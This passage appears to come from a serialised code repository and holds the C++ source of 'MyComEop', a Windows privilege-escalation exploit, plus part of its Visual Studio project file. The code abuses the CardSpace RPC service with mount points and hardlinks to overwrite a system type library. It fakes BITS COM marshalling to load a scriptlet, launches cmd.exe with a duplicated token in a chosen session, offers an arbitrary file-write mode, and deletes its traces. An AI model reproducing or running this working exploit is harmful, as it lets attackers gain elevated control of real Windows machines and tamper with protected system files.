this);\t\t\n\t\theaderObjRef->iid = IID_InterfaceTemp;\n\t\thr = pStm->Write(headerObjRef, cbRead, &cbWrite);\n\t\treturn hr;\n\n\t}\n\n\n\tvirtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(\n\t\t/* [annotation][in] */\n\t\t_In_  REFIID riid,\n\t\t/* [annotation][unique][in] */\n\t\t_In_opt_  void *pv,\n\t\t/* [annotation][in] */\n\t\t_In_  DWORD dwDestContext,\n\t\t/* [annotation][unique][in] */\n\t\t_Reserved_  void *pvDestContext,\n\t\t/* [annotation][in] */\n\t\t_In_  DWORD mshlflags,\n\t\t/* [annotation][out] */\n\t\t_Out_  DWORD *pSize)\n\t{\n\t\t*pSize = 1024;\n\t\treturn S_OK;\n\t}\n\n\tvirtual HRESULT STDMETHODCALLTYPE UnmarshalInterface(\n\t\t/* [annotation][unique][in] */\n\t\t_In_  IStream *pStm,\n\t\t/* [annotation][in] */\n\t\t_In_  REFIID riid,\n\t\t/* [annotation][out] */\n\t\t_Outptr_  void **ppv)\n\t{\n\t\treturn E_NOTIMPL;\n\t}\n\n\tvirtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData(\n\t\t/* [annotation][unique][in] */\n\t\t_In_  IStream *pStm)\n\t{\n\t\treturn S_OK;\n\t}\n\n\tvirtual HRESULT STDMETHODCALLTYPE DisconnectObject(\n\t\t/* [annotation][in] */\n\t\t_In_  DWORD dwReserved)\n\t{\n\t\treturn S_OK;\n\t}\n};\n\n\n\n\n\n\n\nclass FakeObject : public IBackgroundCopyCallback2, public IPersist\n{\n\tHANDLE m_ptoken;\n\tLONG m_lRefCount;\n\tIUnknown *_umk;\n\t~FakeObject() {};\n\npublic:\n\t//Constructor, Destructor\n\tFakeObject(IUnknown *umk) {\n\t\t_umk = umk;\n\t\tm_lRefCount = 1;\n\n\t}\n\n\t//IUnknown\n\tHRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)\n\t{\n\n\n\t\t//printf(\"[+]QI [FakeObject] - Marshaller: %ls %p\\n\", IIDToBSTR(riid).GetBSTR(), this);\n\t\tif (riid == __uuidof(IUnknown))\n\t\t{\n\t\t\tprintf(\"[+]Query for IUnknown\\n\");\n\t\t\t*ppvObj = this;\n\t\t}\n\t\telse if (riid == __uuidof(IBackgroundCopyCallback2))\n\t\t{\n\t\t\tprintf(\"[+]Query for IBackgroundCopyCallback2\\n\");\n\n\t\t}\n\t\telse if (riid == __uuidof(IBackgroundCopyCallback))\n\t\t{\n\t\t\tprintf(\"[+]Query for IBackgroundCopyCallback\\n\");\n\n\t\t}\n\t\telse if (riid == __uuidof(IPersist))\n\t\t{\n\t\t\tprintf(\"[+]Query for IPersist\\n\");\n\t\t\t*ppvObj = static_cast<IPersist*>(this);\n\t\t\t//*ppvObj = _unk2;\n\t\t}\n\n\t\telse if (riid == IID_IMarshal)\n\t\t{\n\t\t\tprintf(\"[+]Query for IID_IMarshal\\n\");\n\t\t\t//*ppvObj = static_cast<IBackgroundCopyCallback2*>(this);\n\n\n\t\t\t*ppvObj = NULL;\n\t\t\treturn E_NOINTERFACE;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tprintf(\"[+]Unknown IID: %ls %p\\n\", IIDToBSTR(riid).GetBSTR(), this);\n\t\t\t*ppvObj = NULL;\n\t\t\treturn E_NOINTERFACE;\n\t\t}\n\n\t\t((IUnknown *)*ppvObj)->AddRef();\n\t\treturn NOERROR;\n\t}\n\n\tULONG __stdcall AddRef()\n\t{\n\t\treturn InterlockedIncrement(&m_lRefCount);\n\t}\n\n\tULONG __stdcall Release()\n\t{\n\t\tULONG  ulCount = InterlockedDecrement(&m_lRefCount);\n\n\t\tif (0 == ulCount)\n\t\t{\n\t\t\tdelete this;\n\t\t}\n\n\t\treturn ulCount;\n\t}\n\n\tvirtual HRESULT STDMETHODCALLTYPE JobTransferred(\n\t\t/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob)\n\t{\n\t\tprintf(\"[+]JobTransferred\\n\");\n\t\treturn S_OK;\n\t}\n\n\tvirtual HRESULT STDMETHODCALLTYPE JobError(\n\t\t/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,\n\t\t/* [in] */ __RPC__in_opt IBackgroundCopyError *pError)\n\t{\n\t\tprintf(\"[+]JobError\\n\");\n\t\treturn S_OK;\n\t}\n\n\n\tvirtual HRESULT STDMETHODCALLTYPE JobModification(\n\t\t/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,\n\t\t/* [in] */ DWORD dwReserved)\n\t{\n\t\tprintf(\"[+]JobModification\\n\");\n\t\treturn S_OK;\n\t}\n\n\n\tvirtual HRESULT STDMETHODCALLTYPE FileTransferred(\n\t\t/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,\n\t\t/* [in] */ __RPC__in_opt IBackgroundCopyFile *pFile)\n\t{\n\t\tprintf(\"[+]FileTransferred\\n\");\n\t\treturn S_OK;\n\t}\n\n\tvirtual HRESULT STDMETHODCALLTYPE GetClassID(\n\t\t/* [out] */ __RPC__out CLSID *pClassID)\n\t{\n\t\tprintf(\"[+]GetClassID\\n\");\n\n\n\t\t*pClassID = GUID_NULL;\n\n\t\treturn S_OK;\n\t}\n};\n\n\n\n_COM_SMARTPTR_TYPEDEF(IEnumBackgroundCopyJobs, __uuidof(IEnumBackgroundCopyJobs));\n\nvoid TestBits(HANDLE hEvent)\n{\n\t\n\t\tIBackgroundCopyManagerPtr pQueueMgr;\n\t\tIID CLSID_BackgroundCopyManager;\n\t\tIID IID_IBackgroundCopyManager;\n\t\tCLSIDFromString(L\"{4991d34b-80a1-4291-83b6-3328366b9097}\", &CLSID_BackgroundCopyManager);\n\t\tCLSIDFromString(L\"{5ce34c0d-0dc9-4c1f-897c-daa1b78cee7c}\", &IID_IBackgroundCopyManager);\n\n\t\tHRESULT\thr = CoCreateInstance(CLSID_BackgroundCopyManager, NULL,\n\t\t\tCLSCTX_ALL, IID_IBackgroundCopyManager, (void**)&pQueueMgr);\n\n\t\tIUnknown * pOuter = new CMarshaller(static_cast<IPersist*>(new FakeObject(nullptr)));\n\t\tIUnknown * pInner;\n\n\t\tCoGetStdMarshalEx(pOuter, CLSCTX_INPROC_SERVER, &pInner);\n\n\t\tIBackgroundCopyJobPtr pJob;\n\t\tGUID guidJob;\n\n\t\tIEnumBackgroundCopyJobsPtr enumjobs;\n\t\thr = pQueueMgr->EnumJobs(0, &enumjobs);\n\t\tif (SUCCEEDED(hr))\n\t\t{\n\t\t\tIBackgroundCopyJob* currjob;\n\t\t\tULONG fetched = 0;\n\n\t\t\twhile ((enumjobs->Next(1, &currjob, &fetched) == S_OK) && (fetched == 1))\n\t\t\t{\n\t\t\t\tLPWSTR lpStr;\n\t\t\t\tif (SUCCEEDED(currjob->GetDisplayName(&lpStr)))\n\t\t\t\t{\n\t\t\t\t\tif (wcscmp(lpStr, L\"BitsAuthSample\") == 0)\n\t\t\t\t\t{\n\t\t\t\t\t\tCoTaskMemFree(lpStr);\n\t\t\t\t\t\tcurrjob->Cancel();\n\t\t\t\t\t\tcurrjob->Release();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcurrjob->Release();\n\t\t\t}\n\t\t}\n\n\n\t\tpQueueMgr->CreateJob(L\"BitsAuthSample\",\n\t\t\tBG_JOB_TYPE_DOWNLOAD,\n\t\t\t&guidJob,\n\t\t\t&pJob);\n\n\n\n\t\tIUnknownPtr pNotify;\n\n\n\t\tpNotify.Attach(new CMarshaller(pInner));\n\t\t{\n\n\n\t\t\tHRESULT hr = pJob->SetNotifyInterface(pNotify);\n\t\t\tprintf(\"[+]Test Background Intelligent Transfer Service Result: %08X\\n\", hr);\n\n\t\t}\n\t\tif (pJob)\n\t\t{\n\t\t\tpJob->Cancel();\n\t\t}\n\n\t\t//printf(\"[+]Done\\n\");\n\t\tSetEvent(hEvent);\n\t\t\n}\n\nBOOL  DirectoryListCleanUp(BSTR Path, BSTR ExeName)\n{\n\tif (!PathIsDirectoryW(Path))\n\t{\n\n\t\treturn FALSE;\n\t}\n\tWIN32_FIND_DATAW FindData;\n\tHANDLE hError;\n\n\tBSTR FilePathName = (BSTR)malloc(LEN);\n\t// 构造路径\n\tbstr_t FullPathName;\n\twcscpy(FilePathName, Path);\n\twcscat(FilePathName, L\"\\\\*.*\");\n\thError = FindFirstFile(FilePathName, &FindData);\n\tif (hError == INVALID_HANDLE_VALUE)\n\t{\n\t\t//printf(\"[+]Enumerating %ls Failed Try To Skip, code: %d,error: %d\\n\", FilePathName, GetLastError(), hError);\n\t\treturn 0;\n\t}\n\twhile (::FindNextFile(hError, &FindData))\n\t{\n\t\t// 过虑.和..\n\t\tif (_wcsicmp(FindData.cFileName, L\".\") == 0\n\t\t\t|| _wcsicmp(FindData.cFileName, L\"..\") == 0)\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\t\tFullPathName = bstr_t(Path) + \"\\\\\" + FindData.cFileName;\n\t\t// 构造完整路径\n\t\tif (_wcsicmp(ExeName, FindData.cFileName) != 0)\n\t\t{\n\t\t\t//printf(\"%ls\\n\", FullPathName.GetBSTR());\n\t\t\tfor (int i = 0; i < 6;i++)\n\t\t\t{\n\n\t\t\t\tif (_wcsicmp(CleanUpFileList[i], FindData.cFileName) == 0)\n\t\t\t\t{\n\t\t\t\t\tDeleteFile(FullPathName);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t//wsprintf(FullPathName, L\"%s\\\\%s\", Path, FindData.cFileName);\n\t\t//FileCount++;\n\t\t// 输出本级的文件\n\n\t\tif (FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)\n\t\t{\n\t\t\tDirectoryListCleanUp(FullPathName, ExeName);\n\t\t}\n\t}\n\treturn FALSE;\n}\n\n\n\n\n\nextern \"C\" void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len)\n{\n\treturn(HeapAlloc(GetProcessHeap(), 0, len));\n}\n\nextern \"C\" void __RPC_USER midl_user_free(void __RPC_FAR * ptr)\n{\n\tHeapFree(GetProcessHeap(), 0, ptr);\n}\n\nBOOL StartConnectingService()\n{\n\tWCHAR* svcName = L\"idsvc\";\n\tSC_HANDLE schSCM;\n\tSC_HANDLE schSvc;\n\tSERVICE_STATUS ServiceStatus;\n\tschSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);\n\tif (NULL == schSCM)\n\t{\n\t\tprintf(\"Failed OpenSCManager: %d\\n\", GetLastError());\n\t\treturn FALSE;\n\t}\n\n\tschSvc = OpenService(schSCM, svcName, SERVICE_START | SERVICE_QUERY_STATUS);\n\tif (NULL == schSvc)\n\t{\n\t\twprintf(L\"Failed OpenService %s: %d\\n\", svcName, GetLastError());\n\t\treturn FALSE;\n\t}\n\tQueryServiceStatus(schSvc, &ServiceStatus);\n\tif (ServiceStatus.dwCurrentState == SERVICE_RUNNING || ServiceStatus.dwCurrentState == SERVICE_PAUSED)\n\n\t{\n\t\twprintf(L\"ServiceStatus Already Started %s: %d\\n\", svcName, GetLastError());\n\t\tCloseServiceHandle(schSvc);\n\t\tCloseServiceHandle(schSCM);\n\t\treturn TRUE;\n\n\t}\n\tif (!StartService(schSvc, 0, NULL))\n\t{\n\t\twprintf(L\"Failed Starting %s: %d\\n\", svcName, GetLastError());\n\t\treturn FALSE;\n\t}\n\n\tCloseServiceHandle(schSvc);\n\tCloseServiceHandle(schSCM);\n\tSleep(1000);\n\twprintf(L\"ServiceStatus New started %ls: %d\\n\", svcName, GetLastError());\n\treturn TRUE;\n}\n\nBOOL StartRpcService()\n{\n\tRPC_STATUS status;\n\tunsigned int  cMinCalls = 1;\n\tRPC_BINDING_HANDLE v5;\n\tRPC_SECURITY_QOS SecurityQOS = {};\n\tRPC_WSTR StringBinding = nullptr;\n\tif (StartConnectingService())\n\t{\n\n\t\tstatus = RpcStringBindingComposeW(nullptr, L\"ncalrpc\", 0, L\"31336F38236F3E2C6F3F2E6F20336F20236F21326F\", nullptr, &StringBinding);\n\n\t\tif (status){\n\t\t\tprintf(\"RpcStringBindingComposeW Failed:%d\\n\", status);\n\t\t\treturn(status);\n\t\t}\n\n\t\tstatus = RpcBindingFromStringBindingW(StringBinding, &hBinding);\n\t\tRpcStringFreeW(&StringBinding);\n\t\tif (status){\n\t\t\tprintf(\"RpcBindingFromStringBindingW Failed:%d\\n\", status);\n\t\t\treturn(status);\n\t\t}\n\t\tSecurityQOS.Version = 1;\n\t\tSecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;\n\t\tSecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;\n\t\tSecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;\n\n\t\tstatus = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);\n\t\tif (status){\n\t\t\tprintf(\"RpcBindingSetAuthInfoExW Failed:%d\\n\", status);\n\t\t\treturn(status);\n\t\t}\n\n\t\tstatus = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec);\n\n\t\tif (status){\n\t\t\tprintf(\"RpcEpResolveBinding Failed:%d\\n\", status);\n\t\t\treturn(status);\n\t\t}\n\n\t}\n\telse\n\t{\n\t\tprintf(\"Start Connecting Windows Cardspace Service Failed\");\n\t\treturn 0;\n\t}\n\treturn 0;\n}\n\nBOOL RunRpcService()\n{\n\tRpcRequest* req = (RpcRequest*)CoTaskMemAlloc(sizeof(RpcRequest));\n\treq->Type = L\"ManageRequest\";\n\treq->Length = 0;\n\treq->Data = 0;\n\tRpcResponse* rep = (RpcResponse*)CoTaskMemAlloc(sizeof(RpcResponse));\n\tUINT32* ctx = 0;\n\tlong ret = Proc0_RPCClientBindToService(hBinding, (void**)&ctx);\n\tprintf(\"Proc0_RPCClientBindToService :%d\\n\", ret);\n\tret = Proc2_RPCDispatchClientUIRequest((void**)&ctx, req, &rep);\n\tprintf(\"Proc2_RPCDispatchClientUIRequest :%08x\\n\", ret);\n\treturn 0;\n}\n\n\nvoid CreateNewProcess(const wchar_t* session)\n{\n\n\ttry\n\t{\n\t\tShellExecuteW(NULL, NULL, L\"C:\\\\Windows\\\\System32\\\\bitsadmin.exe\", L\"/reset /allusers\", NULL, SW_HIDE);\n\t}\n\tcatch (const _com_error& err)\n\t{\n\t}\n\n\tbstr_t exeDir = GetExeDir();\n\tbstr_t dllPathBak = exeDir + L\"\\\\\" + PathFindFileName(g_dllPath) + \".bak\";\n\n\twcscpy(g_dllPathBak, dllPathBak.GetBSTR());\n\n\tbstr_t exeName = PathFindFileName(GetExe());\n\n\n\t//printf(\"[+][Info] Restoring BackUp dll Done \\n\");\n\tCopyFileW(g_dllPathBak, g_dllPath, false);\n\n\n\tDirectoryListCleanUp(exeDir, exeName);\n\n\t\n\tDWORD session_id = wcstoul(session, nullptr, 0);\n\tSafeScopedHandle token;\n\tif (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token.ptr()))\n\t{\n\t\tthrow _com_error(E_FAIL);\n\t}\n\n\tSafeScopedHandle new_token;\n\n\tif (!DuplicateTokenEx(token.get(), TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, new_token.ptr()))\n\t{\n\t\tthrow _com_error(E_FAIL);\n\t}\n\n\tSetTokenInformation(new_token.get(), TokenSessionId, &session_id, sizeof(session_id));\n\n\tSTARTUPINFO start_info = {};\n\tstart_info.cb = sizeof(start_info);\n\tstart_info.lpDesktop = L\"WinSta0\\\\Default\";\n\tPROCESS_INFORMATION proc_info;\n\tWCHAR cmdline[] = L\"cmd.exe\";\n\tif (CreateProcessAsUser(new_token.get(), nullptr, cmdline,\n\t\tnullptr, nullptr, FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &start_info, &proc_info))\n\t{\n\t\tCloseHandle(proc_info.hProcess);\n\t\tCloseHandle(proc_info.hThread);\n\t}\n}\n\nint _tmain(int argc, _TCHAR* argv[])\n{\n\ttry\n\t{\n\n\n\t\tprintf(\"[+] For Run CMD Directly: MyComEop.exe \\n\");\n\t\tprintf(\"[+] For Test File Write : MyComEop.exe \\\"SourceFile\\\" \\\"DestinationFile\\\" \\n\");\n\t\t//system(\"pause\");\n\t\tBSTR dllPath = L\"C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\System.EnterpriseServices.tlb\";\n\t\tBSTR if_name = (BSTR)malloc(LEN);\n\t\tBSTR user_name = (BSTR)malloc(LEN);\n\t\tDWORD usernamelen = 100;\n\t\tbstr_t exdir = GetExeDir();\n\t\t//当前目录下的临时typelib\n\t\tbstr_t target_tlb = exdir + L\"\\\\CardSpace.db\";\n\t\tbstr_t UpdateTaskFile = exdir + L\"\\\\CardSpace.db.atomic\";\n\t\tBSTR CardSpaceOld = (BSTR)malloc(LEN);\n\t\tGetUserNameW(user_name, &usernamelen);\n\t\tStringCbPrintfW(CardSpaceOld, LEN, L\"C:\\\\Users\\\\%ls\\\\AppData\\\\Local\\\\Microsoft\\\\CardSpace\", user_name);\n\t\tFileSymlink sl(false);\n\t\tHANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);\n\t\tHRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);\n\t\thr = CoInitializeSecurity(\n\t\t\tNULL,\n\t\t\t-1,\n\t\t\tNULL,\n\t\t\tNULL,\n\t\t\tRPC_C_AUTHN_LEVEL_PKT_PRIVACY,\n\t\t\tRPC_C_IMP_LEVEL_IMPERSONATE,\n\t\t\tNULL,\n\t\t\tEOAC_DYNAMIC_CLOAKING,\n\t\t\t0\n\t\t\t);\n\n\t\tif (argc < 2)\n\t\t{\n\n\n\t\t\tStartRpcService();\n\t\t\twcscpy(if_name, L\" IRegistrationHelper\");\n\n\n\n\n\t\t\tCLSIDFromString(L\"{55E3EA25-55CB-4650-8887-18E8D30BB4BC}\", &IID_InterfaceTemp);\n\t\t\tCLSIDFromString(L\"{4FB2D46F-EFC8-4643-BCD0-6E5BFA6A174C}\", &TypeLib_InterfaceTemp);\n\n\n\n\t\t\tbstr_t script = L\"script:\" + CreateScriptletFile();\n\n\t\t\tBuildTypeLibs(script, if_name, target_tlb);\n\n\n\t\t\tif (CreateDirectory(CardSpaceOld, nullptr) || (GetLastError() == ERROR_ALREADY_EXISTS))\n\t\t\t{\n\t\t\t\tif (!ReparsePoint::CreateMountPoint(CardSpaceOld, exdir.GetBSTR(), L\"\"))\n\t\t\t\t{\n\t\t\t\t\tprintf(\"Error creating mount point - %d\\n\", GetLastError());\n\t\t\t\t\treturn 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tprintf(\"Error creating directory - %d\\n\", GetLastError());\n\t\t\t\treturn 0;\n\t\t\t}\n\n\n\t\t\tif (CreateNativeHardlink(UpdateTaskFile.GetBSTR(), dllPath) == false)\n\t\t\t{\n\t\t\t\tprintf(\"[+]CreateNativeHardlink Failed,error: %d\\n\", GetLastError());\n\t\t\t\treturn FALSE;\n\t\t\t}\n\n\n\t\t\tbstr_t dllPathBak = GetExeDir() + L\"\\\\\" + PathFindFileName(dllPath) + \".bak\";\n\n\t\t\twcscpy(g_dllPathBak, dllPathBak.GetBSTR());\n\t\t\twcscpy(g_dllPath, dllPath);\n\n\t\t\tCopyFileW(dllPath, g_dllPathBak, false);\n\n\t\t\twcscpy(g_cmdline, L\"whoami\");\n\n\t\t\tRunRpcService();\n\t\t\tif (!RemoveDirectory(CardSpaceOld))\n\t\t\t{\n\t\t\t\tprintf(\"Error deleting mount point %ls\\n\", GetErrorMessage().c_str());\n\t\t\t\treturn 1;\n\t\t\t}\n\n\t\t\tTestBits(hEvent);\n\t\t}\n\t\telse if (argc == 3)\n\t\t{\n\t\t\tStartRpcService();\n\t\t\tCopyFileW(argv[1], target_tlb.GetBSTR(), false);\n\t\t\tif (CreateDirectory(CardSpaceOld, nullptr) || (GetLastError() == ERROR_ALREADY_EXISTS))\n\t\t\t{\n\t\t\t\tif (!ReparsePoint::CreateMountPoint(CardSpaceOld, exdir.GetBSTR(), L\"\"))\n\t\t\t\t{\n\t\t\t\t\tprintf(\"Error creating mount point - %d\\n\", GetLastError());\n\t\t\t\t\treturn 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tprintf(\"Error creating directory - %d\\n\", GetLastError());\n\t\t\t\treturn 0;\n\t\t\t}\n\n\n\t\t\tif (CreateNativeHardlink(UpdateTaskFile.GetBSTR(), argv[2]) == false)\n\t\t\t{\n\t\t\t\tprintf(\"[+]CreateNativeHardlink Failed,error: %d\\n\", GetLastError());\n\t\t\t\treturn FALSE;\n\t\t\t}\n\n\t\t\tRunRpcService();\n\t\t\tif (!RemoveDirectory(CardSpaceOld))\n\t\t\t{\n\t\t\t\tprintf(\"Error deleting mount point %ls\\n\", GetErrorMessage().c_str());\n\t\t\t\treturn 1;\n\t\t\t}\n\t\t\tprintf(\"[+]RunRpcService Done Check if the Destination File is be written,code: %d\\n\", GetLastError());\n\t\t}\n\t\telse\n\t\t{\n\t\t\twcscpy(g_dllPath, dllPath);\n\t\t\tCreateNewProcess(argv[1]);\n\t\t}\n\n\t}\n\tcatch (const _com_error& err)\n\t{\n\t\tprintf(\"Error: %ls\\n\", err.ErrorMessage());\n\t}\n\tCoUninitialize();//释放COM\n\treturn 0;\n}\n"
  },
  {
    "path": "MyComEop/MyComEop.vcxproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"12.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <ProjectGuid>{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}</ProjectGuid>\n    <Keyword>Win32Proj</Keyword>\n    <RootNamespace>MyComEop</RootNamespace>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v120</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n    <UseOfMfc>Static</UseOfMfc>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v120</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n    <UseOfMfc>Static</UseOfMfc>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v120</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v120</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"PropertySheets\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"PropertySheets\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <LinkIncremental>true</LinkIncremental>\n    <OutDir>$(SolutionDir)Build\\</OutDir>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <LinkIncremental>true</LinkIncremental>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <LinkIncremental>false</LinkIncremental>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <LinkIncremental>false</LinkIncremental>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <PrecompiledHeader>NotUsing</PrecompiledHeader>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>Disabled</Optimization>\n      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_LIB;_X86;_CRT_SECURE_NO_WARNINGS;MSFROTTENPOTATO_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <SDLCheck>true</SDLCheck>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <AdditionalDependencies>secur32.lib;Credui.lib;Rpcrt4.lib;$(SolutionDir)Build\\CommonUtils.lib;%(AdditionalDependencies)</AdditionalDependencies>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <PrecompiledHeader>NotUsing</PrecompiledHeader>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>Disabled</Optimization>\n      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_LIB;_X86;_CRT_SECURE_NO_WARNINGS;MSFROTTENPOTATO_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <SDLCheck>true</SDLCheck>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <AdditionalDependencies>secur32.lib;Credui.lib;Rpcrt4.lib;%(AdditionalDependencies)</AdditionalDependencies>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <PrecompiledHeader>Use</PrecompiledHeader>\n      <Optimization>MaxSpeed</Optimization>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <SDLCheck>true</SDLCheck>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <PrecompiledHeader>Use</PrecompiledHeader>\n      <Optimization>MaxSpeed</Optimization>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <SDLCheck>true</SDLCheck>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      